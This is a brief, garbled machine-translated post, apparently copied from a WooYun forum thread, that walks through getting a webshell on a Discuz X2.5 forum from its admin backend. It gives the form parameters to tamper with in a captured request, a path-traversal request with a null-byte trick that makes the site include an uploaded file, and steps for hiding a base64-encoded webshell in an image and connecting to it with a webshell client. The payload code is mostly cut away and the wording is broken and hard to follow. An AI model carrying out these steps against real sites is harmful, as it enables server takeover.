discuz最新バックグラウンドgetshell

原帖地址内容:http://zone.wooyun.org/content/3894
ユーザー–ユーザー欄–欄グループ化–コミット–パケットのキャプチャ(私はここでエラーが発生しました.必ずコミットしなければなりません.そうしないと、キャプチャされたパケットが異なります)1 Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"
に改心1 Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"
アクセス1 /home.php?mod=spacecp&id=../../robots.txt%0057
ローカルテストdzx 2.5バッグをつかんでbaseを下図のpluginに変更

 
   
  

 
  
测试环境中，上传的一句话***菜刀连接失败，最后改为了base64加密
 
  
//      
');));?>
//      
  
合成画像***、アップロード、
/home.php?mod=spacecp&id=../../写真馬アドレス%0057
現在のディレクトリの下でtestが生成する.php、包丁でつなぐ...